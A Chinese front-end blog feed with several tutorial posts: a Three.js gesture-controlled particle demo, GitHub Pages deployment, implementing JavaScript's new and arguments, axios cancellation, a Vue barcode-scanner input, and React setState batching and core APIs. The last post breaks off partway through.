         // 简单算法:计算拇指指尖(4)与其他四指指尖(8,12,16,20)到手腕(0)的平均距离
         const wrist = landmarks[0];
         const fingerTips = [4, 8, 12, 16, 20];
         let totalDist = 0;

         fingerTips.forEach(idx => {
             const tip = landmarks[idx];
             const dist = Math.sqrt(
                 Math.pow(tip.x - wrist.x, 2) + 
                 Math.pow(tip.y - wrist.y, 2)
             );
             totalDist += dist;
         });

         const avgDist = totalDist / 5;

         // 经验阈值:
         // 握拳时,指尖距离手腕很近 (avgDist 约 0.1 - 0.2)
         // 张开时,指尖距离手腕较远 (avgDist 约 0.4 - 0.6)
         // 我们做一个映射:握拳(distance small) -> 聚合(factor 1), 张开 -> 散开(factor 0)
         
         // 动态调整这些阈值以适应摄像头的距离
         const closeThreshold = 0.25; 
         const openThreshold = 0.5;

         let normalized = (avgDist - closeThreshold) / (openThreshold - closeThreshold);
         normalized = 1 - Math.min(Math.max(normalized, 0), 1); // 反转:距离越小(握拳),值越大(1)

         targetGatherFactor = normalized; 

     } else {
         // 如果没有检测到手,默认缓慢散开
         targetGatherFactor = 0;
     }
 }

 const hands = new Hands({locateFile: (file) => {
     return `https://cdn.jsdelivr.net/npm/@mediapipe/hands/${file}`;
 }});

 hands.setOptions({
     maxNumHands: 1,
     modelComplexity: 1,
     minDetectionConfidence: 0.5,
     minTrackingConfidence: 0.5
 });

 hands.onResults(onResults);

 const cameraUtils = new Camera(videoElement, {
     onFrame: async () => {
         await hands.send({image: videoElement});
     },
     width: 640,
     height: 480
 });
 cameraUtils.start();

 // --- 5. 动画循环 ---
 function animate() {
     requestAnimationFrame(animate);

     // 粒子自身旋转动画
     particles.rotation.y += 0.002;

     // 平滑过渡聚合系数 (Lerp)
     gatherFactor += (targetGatherFactor - gatherFactor) * 0.05;

     // 更新粒子位置
     const posAttr = particles.geometry.attributes.position;
     const currentPositions = posAttr.array;

     for (let i = 0; i < particleCount; i++) {
         const idx = i * 3;
         
         // 目标位置插值:从 randomPositions 过渡到 targetPositions
         const tx = randomPositions[idx] + (targetPositions[idx] - randomPositions[idx]) * gatherFactor;
         const ty = randomPositions[idx+1] + (targetPositions[idx+1] - randomPositions[idx+1]) * gatherFactor;
         const tz = randomPositions[idx+2] + (targetPositions[idx+2] - randomPositions[idx+2]) * gatherFactor;

         // 增加一点动态浮动效果
         currentPositions[idx] += (tx - currentPositions[idx]) * 0.1;
         currentPositions[idx+1] += (ty - currentPositions[idx+1]) * 0.1;
         currentPositions[idx+2] += (tz - currentPositions[idx+2]) * 0.1;
     }

     posAttr.needsUpdate = true;
     renderer.render(scene, camera);
 }

 animate();

 // 窗口大小调整适配
 window.addEventListener('resize', () => {
     camera.aspect = window.innerWidth / window.innerHeight;
     camera.updateProjectionMatrix();
     renderer.setSize(window.innerWidth, window.innerHeight);
 });
</script>
</body>
</html>


🌟 第四步:配置GitHub Pages

  • 在GitHub仓库页面:
    1. 点击"Settings"选项卡
    1. 在左侧菜单中选择"Pages"
    1. 在"Source"部分,选择要部署的分支(通常是main)
    1. 选择根目录(/root)或文档目录(/docs)
    1. 点击"Save"
    1. 等待几分钟,网站将部署完成 这里是最最关键的一步!⚠️ imageimage

🌟 第五步:见证奇迹的时刻!🎉

保存好之后,其实 GitHub 已经在后台偷偷帮你部署啦! 稍等几十秒(有时候可能要一两分钟,喝口水的时间~ ☕️)。

查看搭建状态

点击仓库上方的 Actions -> 可以查看你的网站搭建状态

imageimageimage

查看网站

点击仓库上方的 Settings (设置) ⚙️ -> 左侧栏找到 Pages

恭喜你!!点击那个链接,你就看到了你刚刚写的网页啦!🌏 不管你在地球的哪个角落,只要有网,都能访问这个链接! imageimage


💖 Conclusion | 结语

  • That's all for today~ - | 今天就写到这里啦~

  • Guys, ( ̄ω ̄( ̄ω ̄〃 ( ̄ω ̄〃)ゝ See you tomorrow~~ | 小伙伴们,( ̄ω ̄( ̄ω ̄〃 ( ̄ω ̄〃)ゝ我们明天再见啦~~

  • Everyone, be happy every day! 大家要天天开心哦

  • Welcome everyone to point out any mistakes in the article~ | 欢迎大家指出文章需要改正之处~

  • Learning has no end; win-win cooperation | 学无止境,合作共赢

  • Welcome all the passers-by, boys and girls, to offer better suggestions! ~~~ | 欢迎路过的小哥哥小姐姐们提出更好的意见哇~~

image

彻底搞懂 JavaScript 的 new 到底在干什么?手撕 new + Arguments 核心原理解析

作者 不会js
2025年12月9日 23:36

彻底搞懂 JavaScript 的 new 到底在干什么?手撕 new + Arguments 核心原理解析

在面试中,「手写 new 的实现」和「arguments 到底是个啥」几乎是中高级前端的必考题。
今天我们不背答案,而是把它们彻底拆开,看看 JavaScript 引擎在底层到底做了什么。

f7afe1f6c5914b92044e39cfb1e0cf81.jpg

一、new 运算符到底干了哪四件事?

当你写下这行代码时:

const p =new Person('柯基', 18);

JavaScript 引擎默默为你做了 4 件大事:

  1. 创建一个全新的空对象 {}
  2. 把这个空对象的 __proto__ 指向构造函数的 prototype
  3. 让构造函数的 this 指向这个新对象,并执行构造函数(传入参数)
  4. 自动返回这个对象(除非构造函数显式返回了一个对象)

这就是传说中的“new 的四步走”。

很多人背得滚瓜烂熟,但真正问他为什么 __proto__ 要指向 prototype?为什么不能直接 obj.prototype = Constructor.prototype?就懵了。

关键提醒(易错点!)

// 错误写法!千万别这样写!
obj.prototype = Constructor.prototype;

// 正确写法
obj.__proto__ = Constructor.prototype;

因为 prototype 是构造函数才有的属性,实例对象根本没有 prototype
所有对象都有 __proto__(非标准,已被 [[Prototype]] 内部槽替代,现代浏览器用 Object.getPrototypeOf),它是用来查找原型链的。

手撕一个完美版 new

function myNew(Constructor, ...args) {
    // 1. 创建一个空对象
    const obj = Object.create(Constructor.prototype);
    
    // 2 & 3. 执行构造函数,绑定 this,并传入参数
    const result = Constructor.apply(obj, args);
    
    // 4. 如果构造函数返回的是对象,则返回它,否则返回我们创建的 obj
    return result instanceof Object ? result : obj;
}

为什么这里用 Object.create(Constructor.prototype) 而不是 new Object() + 设置 __proto__

因为 Object.create(proto) 是最纯粹、最推荐的建立原型链的方式,比手动操作 __proto__ 更现代、更安全。

验证一下

function Dog(name, age) {
    this.name = name;
    this.age = age;
}
Dog.prototype.bark = function() {
    console.log(`${this.name} 汪汪汪!`);
};

const dog1 = new Dog('小黑', 2);
const dog2 = myNew(Dog, '大黄', 3);

dog1.bark(); // 小黑 汪汪汪!
dog2.bark(); // 大黄 汪汪汪!
console.log(dog2 instanceof Dog); // true
console.log(Object.getPrototypeOf(dog2) === Dog.prototype); // true

完美复刻!

二、arguments 是个什么鬼?

你可能写过无数次函数,却不知道 arguments 到底是个啥玩意儿。

function add(a, b, c) {
    console.log(arguments); 
    // Arguments(5) [1, 2, 3, 4, 5, callee: ƒ, Symbol(Symbol.iterator): ƒ]
}
add(1,2,3,4,5);

打印出来长得像数组,但其实不是!

类数组(Array-like)的三大特征

  1. length 属性
  2. 可以用数字索引访问 arguments[0]、arguments[1]...
  3. 不是真正的数组,没有 map、reduce、forEach 等方法

经典面试题:怎么把 arguments 变成真数组?

5 种方式,从老到新:

function test() {
    // 方式1:Array.prototype.slice.call(arguments)
    const arr1 = Array.prototype.slice.call(arguments);
    
    // 方式2:[...arguments] 展开运算符(最优雅)
    const arr2 = [...arguments];
    
    // 方式3:Array.from(arguments)
    const arr3 = Array.from(arguments);
    
    // 方式4:用 for 循环 push(性能最好,但写法古老)
    const arr4 = [];
    for(let i = 0; i < arguments.length; i++) {
        arr4.push(arguments[i]);
    }
    
    // 方式5:Function.prototype.apply 魔术(了解即可)
    const arr5 = Array.prototype.concat.apply([], arguments);
}

推荐顺序:[...arguments] > Array.from() > 手写 for 循环

arguments 和箭头函数的恩怨情仇(超级易错!)

const fn = () => {
    console.log(arguments); // ReferenceError!
};
fn(1,2,3);

箭头函数没有自己的 arguments!它会往上层作用域找。

这是因为箭头函数没有 [[Call]] 内部方法,所以也没有 arguments 对象。

arguments.callee 已经死了

以前可以这样写递归:

// 老黄历(严格模式下报错,已废弃)
function factorial(n) {
    if (n <= 1) return 1;
    return n * arguments.callee(n - 1);
}

现在请用命名函数表达式:

const factorial = function self(n) {
    if (n <= 1) return 1;
    return n * self(n - 1);
};

三、把所有知识点串起来:实现一个支持任意参数的 sum 函数

function sum() {
    // 方案1:用 reduce(推荐)
    return [...arguments].reduce((pre, cur) => pre + cur, 0);
    
    // 方案2:经典 for 循环(性能最好)
    // let total = 0;
    // for(let i = 0; i < arguments.length; i++) {
    //     total += arguments[i];
    // }
    // return total;
}

console.log(sum(1,2,3,4,5)); // 15
console.log(sum(10, 20));    // 30
console.log(sum());          // 0

四、总结:new 和 arguments 的灵魂考点

考点 正确答案 & 易错点提醒
new 做了哪几件事? 4 步:创建对象 → 链接原型 → 绑定 this → 返回对象
obj.proto 指向谁? Constructor.prototype(不是 Constructor 本身!)
手写 new 推荐方式 Object.create(Constructor.prototype) + apply
arguments 是数组吗? 不是!是类数组对象
如何转真数组? [...arguments] 最优雅
箭头函数有 arguments 吗? 没有!会抛错
arguments.callee 已废弃,严格模式下报错

fc962ce0cd306c49bc54248e80437e81.jpg

几个细节知识点

1.arguments 到底是什么类型的数据?

通过Object.prototype.toString.call 打印出 [object Arguments]

arguments 是一个 真正的普通对象(plain object),而不是数组! 它的内部类([[Class]])是 "Arguments",这是一个 ECMAScript 规范里专门为函数参数创建的特殊内置对象

为什么它长得像数组?

因为 JS 引擎在创建 arguments 对象时,特意给它加了这些“伪装属性”:

JavaScript

arguments.length = 参数个数
arguments[0], arguments[1]... = 对应的实参
arguments[Symbol.iterator] = Array.prototype[Symbol.iterator]  // 所以可以 for...of

这就是传说中的“类数组(array-like object)”。

2.apply 不仅可以接受数组,还可以接受类数组,底层逻辑是什么?

apply 的第二个参数只要求是一个 “Array-like 对象” 或 “类数组对象”,甚至可以是任何有 length 和数字索引的对象!

JavaScript

// 官方接受的类型统称为:arguments object 或 array-like object
func.apply(thisArg, argArray)
能传什么?疯狂测试!

JavaScript

function sum() {
    return [...arguments].reduce((a,b)=>a+b);
}

// 这些全都可以被 apply 正确处理!
sum.apply(null, [1,2,3,4,5]);                    // 真数组
sum.apply(null, arguments);                     // arguments 对象
sum.apply(null, {0:1, 1:2, 2:3, length: 3});     // 自定义类数组对象
sum.apply(null, "abc");                         // 字符串!也是类数组
sum.apply(null, new Set([1,2,3]));              // 不行!Set 没有 length 和索引
sum.apply(null, {length: 5});                    // 得到 [undefined×5]

所以只要满足:

  • 有 length 属性(可转为非负整数)
  • 有 0, 1, 2... 这些数字属性

就能被 apply 正确展开!

3.[].shift.call(arguments) 到底是什么鬼?为什么能取到构造函数?

这行代码堪称“手写 new 的经典黑魔法”:

JavaScript

function myNew() {
    var Constructor = [].shift.call(arguments);
    // 现在 Constructor 就是 Person,arguments 变成了剩余参数
}
myNew(Person, '张三', 18);
一步步拆解:

JavaScript

[].shift           // Array.prototype.shift 方法
.call(arguments)   // 把 arguments 当作 this 调用 shift

shift 的作用:删除并返回数组的第一个元素

因为 arguments 是类数组,所以 Array.prototype.shift 能作用于它!

执行过程:

JavaScript

// 初始
arguments = [Person函数, '张三', 18]

// [].shift.call(arguments) 执行后:
返回 Person 函数
arguments 变成 ['张三', 18]   // 原地被修改了!

归根结底:这利用了类数组能借用数组方法的特性

所以这行代码一箭三雕:

  1. 取出构造函数
  2. 把 arguments 变成真正的剩余参数数组
  3. 不需要写 arguments[0], arguments.slice(1) 这种丑代码

最后送你一份面试加分答案模板

面试官:请手写实现 new 运算符

function myNew(Constructor, ...args) {
    // 1. 用原型创建空对象(最推荐)
    const obj = Object.create(Constructor.prototype);
    
    // 2. 执行构造函数,绑定 this
    const result = Constructor.apply(obj, args);
    
    // 3. 返回值处理(常被忽略!)
    return typeof result === 'object' && result !== null ? result : obj;
}

面试官:那 arguments 呢?

// 快速转换为真数组
const realArray = [...arguments];
// 或者
const realArray = Array.from(arguments);

一句「Object.create 是建立原型链最纯粹的方式」就能让面试官眼前一亮。

搞懂了 new 和 arguments,你就已经站在了 JavaScript 底层机制的肩膀上。

取消axios请求

2025年12月9日 23:13

方案 1:使用 AbortController(推荐,符合标准)

Axios 从 0.22.0 版本开始支持原生 AbortController,替代旧的 CancelToken(已标记为废弃),步骤如下:

import React, { useState, useEffect } from 'react';
import axios from 'axios';

const RequestComponent = () => {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(false);

  useEffect(() => {
    // 1. 创建 AbortController 实例
    const controller = new AbortController();
    const signal = controller.signal;

    // 2. 发起请求时传入 signal
    const fetchData = async () => {
      setLoading(true);
      try {
        const res = await axios.get('https://api.example.com/data', {
          signal: signal, // 关联取消信号
        });
        setData(res.data);
      } catch (error) {
        // 3. 捕获取消请求的错误(避免控制台报错)
        if (axios.isCancel(error)) {
          console.log('请求已取消:', error.message);
        } else {
          console.error('请求失败:', error);
        }
      } finally {
        setLoading(false);
      }
    };

    fetchData();

    // 4. 组件卸载/依赖更新时取消请求(useEffect 清理函数)
    return () => {
      controller.abort('组件卸载,取消请求'); // 取消请求并传入提示信息
    };
  }, []);

  return (
    <div>
      {loading ? <p>加载中...</p> : <pre>{JSON.stringify(data, null, 2)}</pre>}
    </div>
  );
};

export default RequestComponent;

方案 2:使用 CancelToken(兼容旧版本)

若项目中 Axios 版本低于 0.22.0,可使用 CancelToken,步骤如下:

import React, { useState, useEffect } from 'react';
import axios from 'axios';

const RequestComponent = () => {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(false);

  useEffect(() => {
    // 1. 创建 CancelToken 和取消函数
    const CancelToken = axios.CancelToken;
    let cancel;

    const fetchData = async () => {
      setLoading(true);
      try {
        const res = await axios.get('https://api.example.com/data', {
          cancelToken: new CancelToken((c) => {
            cancel = c; // 保存取消函数
          }),
        });
        setData(res.data);
      } catch (error) {
        if (axios.isCancel(error)) {
          console.log('请求已取消:', error.message);
        } else {
          console.error('请求失败:', error);
        }
      } finally {
        setLoading(false);
      }
    };

    fetchData();

    // 2. 清理函数中执行取消
    return () => {
      if (cancel) cancel('组件卸载,取消请求');
    };
  }, []);

  return (
    <div>
      {loading ? <p>加载中...</p> : <pre>{JSON.stringify(data, null, 2)}</pre>}
    </div>
  );
};

export default RequestComponent;

关键注意事项

  1. 清理时机:取消请求必须放在 useEffect 的清理函数中,确保组件卸载 / 依赖更新时触发,避免内存泄漏。

  2. 错误捕获:取消请求会抛出异常,需用 axios.isCancel(error) 判断并过滤,避免控制台报错。

  3. 手动取消:若需要手动触发(如点击按钮取消),可将 controller 或 cancel 函数存入 useRef,示例:

    const controllerRef = useRef(null);
    
    // 发起请求时
    controllerRef.current = new AbortController();
    
    // 手动取消按钮
    const handleCancel = () => {
      if (controllerRef.current) {
        controllerRef.current.abort('手动取消请求');
      }
    };
    

扫码枪卡顿有效解决方案

作者 jerry_kong
2025年12月9日 21:30

今天没时间了,不做多解释; 问题现象

扫描枪写入文本肉眼可见卡顿; 了解扫描枪是模拟键盘快速输入,会触发key/Down和Input事件,双向绑定和input事件,没输入一个字母,设计双向绑定和渲染,输入太快,来不及渲染,所以卡顿;

核心思路,降低input事件触发频次,降低渲染,在keydown中获取判断是扫描还是手工输入,如果是扫描,则拼接字符串,然后后再更新文本,否额常规输入;

卡的原因还包括,输入法的,拼写校验、自动完成等等,实际上再扫码过程,这些辅助性内容都是干扰项;

拿去绝对好使用,钱前后端花费好几天时间,我尝试原生html input,能好一点点,cpu低配工控机,仍然卡顿;

ScanInput.vue

<template>
  <span class="scan-search-input" :class="getSizeClass">
    <!-- Prefix Slot -->
    <span v-if="$slots.prefix" class="scan-search-input__prefix">
      <slot name="prefix"></slot>
    </span>

    <!-- Input -->
    <input
      ref="inputRef"
      v-model="localValue"
      v-bind="$attrs"
      class="scan-search-input__input"
      autocomplete="off"
      autocorrect="off"
      autocapitalize="off"
      spellcheck="false"
      inputmode="text"
      @focus="onFocus"
      @blur="onBlur"
      @keydown="onKeydown"
      @input="onManualInput"
    />

    <!-- Suffix Area -->
    <span v-if="showSuffix" class="scan-search-input__suffix">
      <!-- Clear Button -->
      <span
        v-if="props.allowClear && localValue"
        class="scan-search-input__clear"
        @click.stop="handleClear"
      >
        <svg
          focusable="false"
          data-icon="close-circle"
          width="1em"
          height="1em"
          fill="currentColor"
          aria-hidden="true"
          fill-rule="evenodd"
          viewBox="64 64 896 896"
        >
          <path
            d="M512 64c247.4 0 448 200.6 448 448S759.4 960 512 960 64 759.4 64 512 264.6 64 512 64zm127.98 274.82h-.04l-.08.06L512 466.75 384.14 338.88c-.04-.05-.06-.06-.08-.06a.12.12 0 00-.07 0c-.03 0-.05.01-.09.05l-45.02 45.02a.2.2 0 00-.05.09.12.12 0 000 .07v.02a.27.27 0 00.06.06L466.75 512 338.88 639.86c-.05.04-.06.06-.06.08a.12.12 0 000 .07c0 .03.01.05.05.09l45.02 45.02a.2.2 0 00.09.05.12.12 0 00.07 0c.02 0 .04-.01.08-.05L512 557.25l127.86 127.87c.04.04.06.05.08.05a.12.12 0 00.07 0c.03 0 .05-.01.09-.05l45.02-45.02a.2.2 0 00.05-.09.12.12 0 000-.07v-.02a.27.27 0 00-.05-.06L557.25 512l127.87-127.86c.04-.04.05-.06.05-.08a.12.12 0 000-.07c0-.03-.01-.05-.05-.09l-45.02-45.02a.2.2 0 00-.09-.05.12.12 0 00-.07 0z"
          />
        </svg>
      </span>

      <!-- Enter Button (only if no custom suffix) -->
      <button
        v-if="hasEnterButton && !$slots.suffix"
        type="button"
        class="scan-search-input__btn"
        :disabled="props.loading"
        @click="handlePressEnter"
      >
        {{ props.enterButton === true ? '搜索' : props.enterButton }}
      </button>

      <!-- Custom Suffix Slot -->
      <slot v-else-if="$slots.suffix" name="suffix"></slot>
    </span>
  </span>
</template>

<script setup>
  import { ref, watch, nextTick, computed, useSlots, onMounted } from 'vue';

  const props = defineProps({
    value: { type: String, default: '' },
    scanSeparator: { type: String, default: '' },
    allowClear: { type: Boolean, default: false },
    enterButton: { type: [Boolean, String], default: false },
    loading: { type: Boolean, default: false },
    size: { type: String, default: 'middle' }, // 'small' | 'middle' | 'large'
    autoFocus: { type: Boolean, default: false },
  });

  const emit = defineEmits(['update:value', 'pressEnter']);

  const localValue = ref(props.value);
  watch(
    () => props.value,
    (val) => {
      localValue.value = val;
    },
  );

  const slots = useSlots();

  // 判断是否显示右侧区域
  const hasEnterButton = computed(() => !!props.enterButton);
  const showSuffix = computed(() => props.allowClear || hasEnterButton.value || !!slots.suffix);

  const inputRef = ref(null);

  // ========== 扫码逻辑 ==========
  let scanBuffer = '';
  let lastKeyTime = 0;
  let scanTimeout = null;
  let isScanning = false;
  // 扫码结束后延迟 150ms 提交(更快响应)
  const SCAN_END_DELAY = 200;
  // 启动扫码:前两个字符间隔需 <60ms
  const QUICK_INPUT_THRESHOLD = 60;

  function onManualInput(e) {
    if (isScanning) return;
    emit('update:value', e.target.value);
  }

  function onKeydown(e) {
    const now = Date.now();
    const timeDiff = now - lastKeyTime;
    lastKeyTime = now;

    if (e.ctrlKey || e.altKey || e.metaKey) return;

    const key = e.key;
    console.info('timeDiff', timeDiff, key);

    if (key === 'Enter') {
      if (isScanning && scanBuffer) {
        // 扫码中按回车:先应用扫码结果,再触发 pressEnter
        applyScanResult();
        e.preventDefault();
        // 触发 pressEnter,event 为 null 表示非用户交互触发
        nextTick(() => {
          emit('pressEnter', e);
        });
      } else {
        // 手动输入按回车
        handlePressEnter(e);
      }
      return;
    }

    // key !== 1 显示排除 非打印字符
    if (key.length !== 1 || key < ' ' || key > '~') {
      clearScanState();
      return;
    }

    if (timeDiff < QUICK_INPUT_THRESHOLD || isScanning) {
      isScanning = true;
      scanBuffer += key;
      e.preventDefault();

      clearTimeout(scanTimeout);
      scanTimeout = setTimeout(() => {
        if (isScanning && scanBuffer) {
          applyScanResult();
          // 注意:自动扫码完成(无回车)通常不触发 pressEnter
          // 如果你也希望自动触发,请在这里加 emit
        }
      }, SCAN_END_DELAY);
    } else {
      clearScanState();
    }
  }

  function applyScanResult() {
    const scannedPart = scanBuffer;
    clearScanState();

    const currentValue = localValue.value || '';
    const newValue = currentValue ? currentValue + props.scanSeparator + scannedPart : scannedPart;

    localValue.value = newValue;

    nextTick(() => {
      emit('update:value', newValue);
    });

    inputRef.value?.focus();
  }

  function clearScanState() {
    isScanning = false;
    scanBuffer = '';
    clearTimeout(scanTimeout);
  }

  function onBlur() {
    if (isScanning) {
      clearScanState();
    }
  }

  function onFocus() {
    // 可扩展
  }

  function handlePressEnter(e) {
    if (props.loading) return;
    emit('pressEnter', e);
  }

  function handleClear() {
    localValue.value = '';
    emit('update:value', '');
    nextTick(() => {
      inputRef.value?.focus();
    });
  }

  // 尺寸类
  const getSizeClass = computed(() => {
    return `scan-search-input--${props.size}`;
  });

  // 自动聚焦(仅当 props.autoFocus 为 true)
  onMounted(() => {
    if (props.autoFocus) {
      // 使用 nextTick 确保 DOM 已渲染
      nextTick(() => {
        inputRef.value?.focus();
      });
    }
  });

  // 暴露 focus 方法供父组件调用
  defineExpose({
    focus: () => inputRef.value?.focus(),
  });
</script>

<style lang="less" scoped>
  .scan-search-input {
    display: flex;
    align-items: center;
    width: 100%;
    padding: 4px 11px;
    transition: all 0.3s;
    border: 1px solid #d9d9d9;
    border-radius: 2px;
    background-color: #fff;
    font-size: 14px;
  }

  .scan-search-input:hover,
  .scan-search-input:focus-within {
    border-color: @primary-color;
    box-shadow: 0 0 0 2px fade(@primary-color, 20%);
  }

  .scan-search-input--large {
    padding: 6.5px 11px;
    font-size: 14px;
  }

  .scan-search-input--small {
    padding: 0 7px;
    font-size: 14px;
  }

  .scan-search-input__prefix {
    margin-right: 2px;
    margin-left: 0;
    color: rgb(0 0 0 / 65%);
    line-height: 1;
  }

  .scan-search-input__input {
    flex: 1;
    min-width: 0;
    padding: 4px;
    border: none;
    outline: none;
    background: transparent;
    color: rgb(0 0 0 / 88%);
  }

  .scan-search-input__input::placeholder {
    color: #bfbfbf;
  }

  .scan-search-input__suffix {
    display: flex;
    align-items: center;
    margin-left: 8px;
  }

  .scan-search-input__clear {
    margin-right: 10px;
    color: rgb(0 0 0 / 25%);
    font-size: 10px;
    line-height: 1;
    cursor: pointer;
  }

  .scan-search-input__clear:hover {
    color: rgb(0 0 0 / 45%);
  }

  .scan-search-input__btn {
    display: none;
    height: 32px;
    margin-left: 8px;
    padding: 0 15px;
    transition: all 0.3s;
    border: none;
    border-radius: 0 2px 2px 0;
    background-color: @primary-color;
    color: #fff;
    cursor: pointer;
  }

  .scan-search-input--large .scan-search-input__btn {
    height: 40px;
  }

  .scan-search-input--small .scan-search-input__btn {
    height: 24px;
  }

  .scan-search-input__btn:hover:not(:disabled) {
    background-color: fade(@primary-color, 90%);
  }

  .scan-search-input__btn:disabled {
    background-color: #d9d9d9;
    cursor: not-allowed;
  }
</style>

业务使用ScanInput,之前是antd Input组件

  <ScanInput
            class="h-10 py-0"
            ref="barCodeRef"
            placeholder="请扫描或输入产品条码号,按回车键提交"
            size="large"
            allowClear
            autofocus
            :enterButton="true"
            v-model:value="barCode"
            @press-enter="debounceHandleSubmit"
          >
            <template #prefix>
              <Icon icon="ant-design:scan-outlined" />
            </template>
          </ScanInput>

React 的 setState 批量更新机制详解

作者 北辰alk
2025年12月9日 21:28

React 的 setState 批量更新是 React 优化性能的重要机制,它通过减少不必要的渲染次数来提高应用性能。下面我将详细解释这一过程。

1. 批量更新的基本概念

批量更新(Batching)是指 React 将多个 setState 调用合并为单个更新,从而减少组件重新渲染的次数。

示例代码:

class MyComponent extends React.Component {
  state = { count: 0 };
  
  handleClick = () => {
    this.setState({ count: this.state.count + 1 }); // 不会立即更新
    this.setState({ count: this.state.count + 1 }); // 不会立即更新
    // React 会将这两个 setState 合并
  };
  
  render() {
    return <button onClick={this.handleClick}>Count: {this.state.count}</button>;
  }
}

2. 批量更新的实现原理

2.1 更新队列机制

React 维护一个待处理的 state 更新队列,而不是立即应用每个 setState

graph TD
    A[setState调用] --> B[将更新加入队列]
    B --> C[React事件循环]
    C --> D[批量处理队列中的所有更新]
    D --> E[合并state更新]
    E --> F[执行单一重新渲染]

2.2 具体过程

  1. 更新入队:每次调用 setState,更新会被加入一个待处理队列
  2. 批量处理:在事件处理函数执行结束时,React 会批量处理所有队列中的更新
  3. 合并更新:对于同一 state 键的多个更新,React 会进行浅合并
  4. 触发渲染:最终只进行一次重新渲染

3. 批量更新的触发时机

3.1 自动批处理场景

  • React 事件处理函数(如 onClick)
  • 生命周期方法
  • React 能控制的入口点

3.2 不会自动批处理的情况

  • 异步代码:setTimeout、Promise、原生事件处理等
  • React 18 之前:只有在 React 事件处理函数中才会批处理
// 不会批处理的例子(React 17及之前)
handleClick = () => {
  setTimeout(() => {
    this.setState({ count: this.state.count + 1 });
    this.setState({ count: this.state.count + 1 });
    // React 17中会触发两次渲染
  }, 0);
};

4. React 18 的自动批处理改进

React 18 引入了全自动批处理,覆盖更多场景:

// 在React 18中,这会批量处理
fetchData().then(() => {
  setState1();
  setState2();
  // 只会触发一次渲染
});

5. 强制同步更新的方法

如果需要立即获取更新后的状态,可以使用回调函数形式或 flushSync(React 18+):

// 回调函数形式
this.setState({ count: this.state.count + 1 }, () => {
  console.log('更新后的值:', this.state.count);
});

// React 18的flushSync
import { flushSync } from 'react-dom';

flushSync(() => {
  this.setState({ count: this.state.count + 1 });
});
// 这里state已经更新

6. 函数式组件的批量更新

函数式组件中 useState 也有类似的批量更新行为:

function MyComponent() {
  const [count, setCount] = useState(0);
  
  const handleClick = () => {
    setCount(c => c + 1); // 更新1
    setCount(c => c + 1); // 更新2
    // React会批量处理,最终count增加2
  };
  
  return <button onClick={handleClick}>{count}</button>;
}

7. 源码层面的简要分析

React 内部通过 enqueueUpdate 函数将更新加入队列:

// 伪代码简化版
function enqueueUpdate(component, partialState) {
  if (!batchingStrategy.isBatchingUpdates) {
    // 如果不处于批量模式,立即更新
    batchingStrategy.batchedUpdates(enqueueUpdate, component, partialState);
    return;
  }
  // 否则加入队列
  dirtyComponents.push(component);
  component._pendingStateQueue.push(partialState);
}

8. 为什么需要批量更新?

  1. 性能优化:减少不必要的渲染次数
  2. 保证一致性:避免中间状态导致的UI不一致
  3. 提升用户体验:更流畅的界面更新

9. 注意事项

  1. 不要依赖 this.state 获取最新值,因为它可能还未更新
  2. 对于连续依赖前一次状态的更新,使用函数形式:
    this.setState(prevState => ({ count: prevState.count + 1 }));
    
  3. 在React 18之前,异步操作中的多个 setState 不会批量处理

React 的批量更新机制是其高效渲染的核心特性之一,理解这一机制有助于编写更高效的React代码和避免常见陷阱。

在这里插入图片描述

React 开发全面指南:核心 API、方法函数及属性详解

作者 北辰alk
2025年12月9日 21:24

React 作为当前最流行的前端框架之一,凭借其组件化、声明式编程和高效的虚拟 DOM 机制,成为构建复杂用户界面的首选工具。本文将深入解析 React 的核心 API、方法函数及属性,覆盖从基础到高级的各个方面,助你全面掌握 React 开发技巧。


1. React 核心概念

1.1 组件化开发

React 应用由组件构成,分为函数组件和类组件:

  • 函数组件:通过纯函数定义,无状态(Hooks 出现后可通过 useState 管理状态)。
  • 类组件:继承 React.Component,具有生命周期方法和状态管理。
// 函数组件
function Welcome(props) {
  return <h1>Hello, {props.name}</h1>;
}

// 类组件
class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}</h1>;
  }
}

1.2 JSX 语法

JSX 是 JavaScript 的语法扩展,用于描述 UI 结构:

const element = <div className="container">Hello React</div>;
  • 表达式嵌入:使用 {} 包裹 JavaScript 表达式。
  • 属性命名:采用驼峰式(如 className 代替 class)。

1.3 虚拟 DOM

React 通过虚拟 DOM 实现高效更新:

  1. 每次状态变更生成新的虚拟 DOM 树。
  2. 通过 Diff 算法对比新旧树差异。
  3. 仅更新实际 DOM 中变化的部分。

2. 组件生命周期方法(类组件)

2.1 挂载阶段(Mounting)

  • constructor(props):初始化状态和绑定方法。
  • static getDerivedStateFromProps(props, state):根据 props 更新 state。
  • render():返回 JSX,必须为纯函数。
  • componentDidMount():组件挂载后执行,适合发起网络请求。

2.2 更新阶段(Updating)

  • shouldComponentUpdate(nextProps, nextState):决定是否重新渲染。
  • getSnapshotBeforeUpdate(prevProps, prevState):捕获 DOM 更新前的状态。
  • componentDidUpdate(prevProps, prevState, snapshot):更新完成后执行。

2.3 卸载阶段(Unmounting)

  • componentWillUnmount():清理定时器、取消订阅等。

2.4 错误处理

  • static getDerivedStateFromError(error):更新状态以显示错误 UI。
  • componentDidCatch(error, info):记录错误信息。

3. Hooks API 详解

3.1 基础 Hooks

  • useState(initialState):管理组件状态。
    const [count, setCount] = useState(0);
    
  • useEffect(effect, dependencies):处理副作用(数据获取、订阅等)。
    useEffect(() => {
      document.title = `Count: ${count}`;
    }, [count]); // 依赖项变化时重新执行
    
  • useContext(Context):访问 Context 值。
    const theme = useContext(ThemeContext);
    

3.2 高级 Hooks

  • useReducer(reducer, initialArg, init):复杂状态逻辑管理。
    const [state, dispatch] = useReducer(reducer, initialState);
    
  • useCallback(fn, dependencies):缓存回调函数。
  • useMemo(() => value, dependencies):缓存计算结果。
  • useRef(initialValue):访问 DOM 或保存可变值。
    const inputRef = useRef();
    <input ref={inputRef} />
    

3.3 自定义 Hook

封装可复用的逻辑:

function useWindowWidth() {
  const [width, setWidth] = useState(window.innerWidth);
  useEffect(() => {
    const handleResize = () => setWidth(window.innerWidth);
    window.addEventListener('resize', handleResize);
    return () => window.removeEventListener('resize', handleResize);
  }, []);
  return width;
}

4. Context API 与状态管理

4.1 创建 Context

const ThemeContext = React.createContext('light');

4.2 提供 Context 值

<ThemeContext.Provider value="dark">
  <App />
</ThemeContext.Provider>

4.3 消费 Context

  • 类组件:通过 static contextTypeConsumer
  • 函数组件:使用 useContext Hook。

